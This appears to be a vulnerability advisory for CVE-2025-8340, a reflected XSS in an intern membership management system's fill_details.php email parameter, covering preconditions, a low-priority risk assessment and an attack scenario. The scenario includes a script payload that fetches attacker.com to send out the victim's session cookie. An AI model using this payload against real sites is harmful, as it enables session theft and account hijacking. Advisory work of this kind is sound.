Intern Membership Management System CVE-2025-8340

User interaction is required-the victim must click a malicious link or visit an attacker-controlled page that references the vulnerable application. The email parameter must not be pre-populated with a legitimate value; the application must render user-supplied input directly in the error message without sanitization. No authentication is required to trigger the vulnerability; the exploit works against unauthenticated error pages. The application must have fill_details.php accessible and functional. Exploitation is limited to the victim's browser session and does not grant server-side code execution; the attacker cannot directly alter the application or database. Modern browsers with XSS protections enabled may block some variants, but reflected XSS is not uniformly mitigated by browser filters.

This vulnerability presents a LOW real-world priority despite being public. Multiple signals converge to suggest limited practical risk: CVSS 2.1 is in the minimal category, EPSS score of 0.07% (20th percentile) indicates very low exploitation likelihood in the wild, and the attack requires user interaction (UI:P) via a social-engineered malicious link. The CVSS vector confirms network accessibility but mandates user participation. While a public exploit exists, the EPSS percentile suggests actual weaponization or mass exploitation attempts are negligible. The integrity-only impact (VI:L with all confidentiality and availability impacts scored as N/A) further limits the attack's severity-stolen session cookies or form data would require downstream credential or data abuse. This is a low-hanging vuln in a niche product with minimal adoption; prioritize only if the application is deployed in high-value environments handling sensitive membership data or if used as a stepping stone in a targeted phishing campaign.

An attacker crafts a malicious URL with an XSS payload in the email parameter (e.g., fill_details.php?email=test@example.com<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) and shares it via email or social media targeting users of the application. When a logged-in victim clicks the link, the error message handler renders the injected script, which executes in their browser and exfiltrates their session cookie to the attacker's server. The attacker then uses the stolen session to hijack the victim's account and access or modify membership records.